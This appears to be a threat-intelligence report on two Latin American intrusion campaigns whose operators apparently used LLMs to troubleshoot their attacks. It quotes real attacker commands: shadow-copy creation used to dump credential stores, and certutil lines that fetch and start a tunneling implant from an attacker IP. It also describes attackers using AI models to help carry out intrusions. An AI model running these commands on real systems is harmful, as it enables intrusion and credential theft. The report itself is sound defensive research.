

Attackers Expose Ongoing AI Tool Use Targeting Organizations in Latin America

 unit42.paloaltonetworks.com/ai-tool-use-targeting-latam-orgs

Reese Lewis, Sara McBroom

September 3, 2026



[Malware](#)

8 min read

[Related Products](#)

Executive Summary

We have analyzed two ongoing, multi-stage network intrusion and data-exfiltration campaigns targeting organizations in Latin America. Corroborating recent findings from the broader threat intelligence community, we observed attackers leveraging artificial intelligence (AI) to enhance their capabilities.

Our investigation categorizes this activity as follows:

- Mexican transportation campaign: This campaign impacted a transportation organization, alongside federal government ministries and municipal water utilities in Mexico and Ecuador. Operators relied on living-off-the-land (LotL) techniques. They executed iterative batch scripts to manipulate and exfiltrate sensitive data, and self-hosted NextChat instances on operational infrastructure. We track the activity in this cluster as CL-CRI-1131.
- Brazilian financial campaign: Attackers targeted the Brazilian financial sector. We observed an expansion of previously reported targeting of vulnerable web servers in a job-themed phishing campaign. The attackers employed custom remote access Trojans (RATs) and tunneling tools, including a Go-based SOCKS5 proxy with iterative filenames that suggest AI-enablement. We track the activity in this cluster as CL-CRI-1163.

We track them as two separate activity clusters with distinct geographic focuses. However, the technical and behavioral overlaps between CL-CRI-1131 and CL-CRI-1163 highlight shifting trends in Latin American targeting and threat actor tooling.

Both clusters have overlapping SOCKS5 relay infrastructure and they both rely on AI to orchestrate operations via commercial large language models (LLMs). This signals a broader evolution in the regional threat landscape. Rather than isolated incidents, these clusters demonstrate how diverse threat groups in Latin America are independently adopting advanced proxy networks and AI integration to streamline their execution.

Palo Alto Networks customers are better protected from the threats discussed here through the following products and services:

- [Advanced WildFire](#)
- [Advanced URL Filtering](#) and [Advanced DNS Security](#)
- [Cortex XDR](#) and [XSIAM](#)

If you think you might have been compromised or have an urgent matter, contact the [Unit 42 Incident Response team](#).

CL-CRI-1131: Mexican Transportation Campaign

During an April 2026 compromise, the attacker's host-based operations reflected the trial and error of LLM usage. Infrastructure associated with the campaign persisted into June 2026 and exposed targeting profiles of the attacker.

Initial Host-Based Footprint: Execution Challenges

During an intrusion as part of CL-CRI-1131 activity in April 2026, we observed the attacker struggling to gather sensitive data. After repeated attempts to dump the Security Account Manager (SAM) registry hive and the domain controller NTDS.dit file, the attacker created shadow copies across multiple drives before copying files, as shown in Figure 1.

```
vssadmin create shadow /for=C:
C:\Windows\SYSTEM32\cmd.exe /c C:\Windows\Temp\bkdc\repair.cmd
vssadmin create shadow /for=F:
```

Figure 1. Volume shadow copy manipulation.

This occurred while the attacker used a series of numbered batch scripts to collect sensitive data from the compromised host, as shown in Figure 2.

```

C:\Windows\System32\cmd.exe /c "C:\Windows\Temp\xd\cp.cmd"
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE" -ep bypass -f
C:\Windows\Temp\xd\doit.ps1
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE" -ep bypass -f
C:\Windows\Temp\xd\${FILE_NAME$.log} 2>&1
"C:\Windows\System32\cmd.EXE" /c echo WORKS >
C:\Windows\Temp\xd\${FILE_NAME$.txt}
C:\Windows\System32\cmd.exe /c "C:\Windows\Temp\xd\cp5.cmd"
C:\Windows\System32\cmd.exe /c "C:\Windows\Temp\xd\cp6.cmd"
C:\Windows\System32\cmd.exe /c "C:\Windows\Temp\xd\cp7.cmd"

```

Figure 2. Commands used for a series of batch scripts to collect sensitive data.

The attackers inserted a permissions check to ensure successful file writing to the collection directory. These trial-and-error actions and successive script fixes are consistent with LLM usage.

After struggling to collect these files, we observed attackers troubleshooting connectivity with infrastructure at 62.171.185[.]97.

Infrastructure Analysis: Tracing Exfiltration Commands to Exposed Certificates

Pivoting on 62.171.185[.]97, the IP address used in CL-CRI-1131 activity for data exfiltration, we discovered an active Let's Encrypt TLS certificate using the domain m-doxa-apodo.duckdns[.]org and following a unique dynamic DNS naming standard.

Shared Infrastructure: What the SSL Certificates Revealed

Searching for the m-doxa prefix revealed that attackers established the infrastructure for the campaign in February 2026 using a single, consolidated multi-Subject Alternative Name (SAN) certificate. This single certificate reveals five active subdomains. These subdomain names indicate their operational functions and intended Mexican federal government targets, as Table 1 shows.

Subdomain	Interpretation
m-doxa-apodo.duckdns[.]org	apodo = alias/nickname (Spanish)
m-doxa-geo.duckdns[.]org	geo for geolocation
m-doxa-intel.duckdns[.]org	intel for intelligence
m-doxa-vacunas.duckdns[.]org	vacunas = vaccines (Spanish)

Table 1. Subdomains and their likely operational capabilities and targets.

In February 2026, following the initial window of activity [reported by CloudSEK](#), attackers deployed a single-SAN certificate during this campaign. The certificate was configured to secure only one specific domain: m-doxa-apodo. However, as the operation evolved, so did the infrastructure.

By April 2026, and again in June 2026, attackers rotated their infrastructure and generated new multi-SAN certificates.

Table 2 shows, by date, the certificates and hosts used for CL-CRI-1131 activity, demonstrating a timeline for the associated infrastructure.

Date	Certificate SHA-256 Hash	SANs	Host
Feb. 27, 2026	7d766942ef34542cee39c852286599958c4c2e23187010c4d38dbf88fcb40bf8	1	165.22.184[.]26
April 20, 2026	4e218e70afdbb116209ec0ebe8fc556e296e69648aa4e0425b83c0e863a8fee5	5	178.128.87[.]160
June 19, 2026	46ac289ce0c13666de616446f5d5a68da8bd150f4f065c3bec02f63776d3899c	5	178.128.87[.]160

Table 2. Certificate procurement timeline.

AI Integration: Discovering the Backend Troubleshooting Interface

In a previous report by Gambit, [The AI-Assisted Breach of Mexico's Government Infrastructure \[PDF\]](#), the February 2026 activity was notable for using multiple LLMs. [The report by CloudSEK linked above](#) detailing activity from June 2026 tracks the activity we call CL-CRI-1131 as Operation Escaneo.

These reports describe attackers using multiple LLMs, including Claude and GPT-4.1 to troubleshoot issues faced by the attackers across their campaigns. We discuss the attackers using NextChat as part of their broader LLM process.

The IP address 178.128.87[.]160 was used in CL-CRI-1131 activity during the associated April and June 2026 compromises. This address hosted an instance of the open-source tool NextChat on TCP port 3000. Figure 3 shows an example of the associated NextChat user interface, as it would look from a web browser window.




Figure 3. Example of a locally hosted NextChat window.

NextChat is an open-source web interface where users can load and interact with multiple models. NextChat allows operators to compare across models and ensure prompts are hosted on attacker-controlled infrastructure.

Beyond revealing new targets, tracking this infrastructure provided a critical window into the activity cluster's backend operations. Given the initial failures to extract data from the host combined with the NextChat interface on this backend, we assess that the attackers relied on LLMs to generate the required workaround scripts.

Integrating AI into the operational infrastructure is not unique to this incident. We observe an identical technical setup when pivoting to a secondary campaign targeting the Brazilian financial sector.

CL-CRI-1163: Brazilian Financial Service Campaign

Unlike the Mexican transportation campaign, the Brazilian financial campaign we track as CL-CRI-1163 involved homebrewed malware. We observed that the attackers behind CL-CRI-1163 likely gained initial access through a job-themed phishing compromise.

Despite trading built-in Windows utilities for custom-built implants, the underlying operational shift remains consistent in both campaigns. Exposed staging infrastructure revealed operational scripts with filenames that

suggest an LLM dynamically generated them rather than a human developer.

The apparent presence of this AI setup, deployed alongside advanced proxy networks, reinforces the conclusion of a broader regional trend. Even for attackers capable of deploying custom malware, an AI-driven backend serves as a force multiplier to populate directories with exploit scripts, streamline execution and lower the barrier to entry for managing complex post-exploitation workflows.

Initial Access and Execution: Phishing and Automated Actions on Objectives

In February 2026, we observed that attackers associated with CL-CRI-1163 achieved initial access through a resume-themed phishing email attachment.

After attackers dropped multiple RATs, we observed a similar iterative naming structure, likely due to the attackers' failure to install their tool set. We observed attempts to install versions 1–8 of a Go-based reverse SOCKS5 tunneling tool named [SockTz](#) from a compromised WordPress site.

Figure 4 shows the attempt to execute version 8, named socktz_v8.exe.

```
cmd.exe /c "certutil -urlcache -split -f  
https://<redacted>/socktz_v8.exe  
C:\Users\%USER%\update2.exe & start  
C:\Users\%USER%\update2.exe & echo DONE"
```

Figure 4. Attempt to retrieve SockTz version 8 from a compromised WordPress site.

Likely due to failure to install the SockTz malware and open a successful proxy connection, attackers behind CL-CRI-1163 pivoted to attacker-controlled infrastructure to retrieve version 9, named socktz_v9, as Figure 5 shows.

```
cmd.exe /c "certutil -urlcache -split -f  
hxxp://167.148.195[.]53:8888/socktz_v9.exe C:\Users\%USER%\sv9.exe"
```

Figure 5. Pivot to attacker-controlled infrastructure to retrieve SockTz version.

Infrastructure Inspection: Analyzing AI-Generated Naming Conventions in the Open Directory

Researchers previously identified this SockTz proxy tool and 167.148.195[.]53 tied to persistent targeting of vulnerable JBoss servers. Where previous reports identified different versions of this tool across campaigns, we observed installation attempts of versions 1–9 in a two-hour window.

SockTz installers were hosted along with hundreds of campaign scripts on an open directory at 167.148.195[.]53. Similar to the SockTz version numbers and the CL-CRI-1131 operations, the open directory associated with this CL-CRI-1163 activity exposed iterative scripts with appended identifier _output, indicating the attackers employed LLMs throughout the campaign. A partial list of the files is shown in Figure 6.

- [persist.sh](#)
- [persist2.sh](#)
- [phase10_output.txt](#)
- [phase11_output.txt](#)
- [phase12_output.txt](#)
- [phase13_output.txt](#)
- [phase14_output.txt](#)
- [phase15_output.txt](#)
- [phase16_output.txt](#)
- [phase17_output.txt](#)
- [phase18_output.txt](#)
- [phase19_output.txt](#)
- [phase2.sh](#)
- [phase20_output.txt](#)
- [phase2_results.txt](#)

Figure 6. Partial list of the campaign scripts hosted on an open directory at 167.148.195[.]53.

In addition to exposing scripts across multiple phases of the attack chain, attackers appended exploit filenames with descriptive adjectives. This suggests that the attackers employed iterative, language model-driven development:

exploit_creative.py, exploit_careful.py
and

rce_focused.py
.

The threat actors behind the CL-CRI-1131 and CL-CRI-1163 campaigns have enhanced their technical capabilities by incorporating commercial LLMs into their workflows. This integration enables them to author advanced proxy configurations and dynamically address complex execution failures. However, the infrastructure they deployed to leverage this AI became their Achilles' heel.

Exposing an open NextChat directory to the public internet reveals a fundamental lack of operational maturity. The AI provided the necessary tactical workaround to extract the Active Directory database, but the human operators failed to secure the staging server. This left their entire playbook, prompt history and staging scripts visible to threat researchers.

This highlights a critical vulnerability for defenders to exploit. As less skilled and experienced actors adopt AI to accelerate their attacks, their foundational operational security (OpSec) failures remain the most reliable way to track and dismantle their operations.

Conclusion

The CL-CRI-1131 and CL-CRI-1163 operations orchestrated in the Mexican transportation and Brazilian financial sector campaigns highlight a notable evolution in the regional threat landscape. Through these campaigns, we observe attackers leveraging AI to enhance their capabilities.

Whether manipulating built-in Windows utilities or deploying custom-built proxy networks, these operators rely on commercial LLMs to overcome tactical hurdles and streamline their execution. However, this rapid technical acceleration is offset by fundamental operational security failures. Exposed staging directories, unsecured NextChat interfaces and structured multi-SAN certificates provide defenders with a clear roadmap of the attacker's infrastructure.

By pivoting on these OpSec oversights, defenders can proactively track the activity and disrupt the attackers' campaigns.

Palo Alto Networks customers are better protected from the threats discussed above through the following products:

- The [Advanced WildFire](#) machine-learning models and analysis techniques have been reviewed and updated in light of the indicators shared in this research
- [Advanced URL Filtering](#) and [Advanced DNS Security](#) identify known domains and URLs associated with this activity as malicious.
- [Cortex XDR](#) and [XSIAM](#) are designed to help prevent the threats described in this article, by employing the [Malware Prevention Engine](#). This approach combines several layers of protection, including [Advanced WildFire](#), Behavioral Threat Protection and the Local Analysis module, intended to prevent both known and unknown malware from causing harm to endpoints.

If you think you may have been compromised or have an urgent matter, get in touch with the [Unit 42 Incident Response team](#) or call:

- North America: Toll Free: +1 (866) 486-4842 (866.4.UNIT42)
- UK: +44.20.3743.3660
- Europe and Middle East: +31.20.299.3130
- Asia: +65.6983.8730
- Japan: +81.50.1790.0200
- Australia: +61.2.4062.7950
- India: 000 800 050 45107
- South Korea: +82.080.467.8774

Palo Alto Networks has shared these findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the [Cyber Threat Alliance](#).

Indicators of Compromise

Mexican Transportation Campaign

Domains:

- m-doxa-apodo.duckdns[.]org
- m-doxa-geo.duckdns[.]org
- m-doxa-intel.duckdns[.]org
- m-doxa-repuve.duckdns[.]org
- m-doxa-sre.duckdns[.]org
- m-doxa-vacunas.duckdns[.]org

Certificate SHA-256 Hashes for Fingerprints and Corresponding Hosts:

- 46ac289ce0c13666de616446f5d5a68da8bd150f4f065c3bec02f63776d3899c
178.128.87[.]160
- 4e218e70afdbb116209ec0ebe8fc556e296e69648aa4e0425b83c0e863a8fee5
178.128.87[.]160
- 7d766942ef34542cee39c852286599958c4c2e23187010c4d38dbf88fcb40bf8
165.22.184[.]26

Brazilian Financial Campaign

SHA-256 hashes:

- a38b2cf8beff32a276eed8783723ecf8cc53d7dc88669e1b998dddc4db6fe996
- 87bf8bc8b4a2cf34f0af1afe161f123a3d200e77f6c6f41b81bf6ae66ee172ec

URL:

hxxp[:]//167.148.195[.]53:8888/socktz_v9.exe

Additional Resources

- [Operation Escaneo](#) — CloudSEK
- [Vibe Hacking: Two AI-Augmented Campaigns Target Government and Financial Sectors in Latin America](#) — Trend Micro

Tags

- [Agentic AI](#)
- [ChatGPT](#)
- [CL-CRI-1131](#)
- [CL-CRI-1163](#)
- [Claude code](#)
- [Financial sector](#)
- [NextChat](#)

- [Shipping and Transportation](#)
- [SOCKS5](#)
- [SockTz](#)




Table of Contents

- [Executive Summary](#)
- [CL-CRI-1131: Mexican Transportation Campaign](#)
 - [Initial Host-Based Footprint: Execution Challenges](#)
 - [Infrastructure Analysis: Tracing Exfiltration Commands to Exposed Certificates](#)
 - [Shared Infrastructure: What the SSL Certificates Revealed](#)
 - [AI Integration: Discovering the Backend Troubleshooting Interface](#)
- [CL-CRI-1163: Brazilian Financial Service Campaign](#)
 - [Initial Access and Execution: Phishing and Automated Actions on Objectives](#)
 - [Infrastructure Inspection: Analyzing AI-Generated Naming Conventions in the Open Directory](#)
- [Conclusion](#)
- [Indicators of Compromise](#)
 - [Mexican Transportation Campaign](#)
 - [Brazilian Financial Campaign](#)
- [Additional Resources](#)

Related Malware Resources
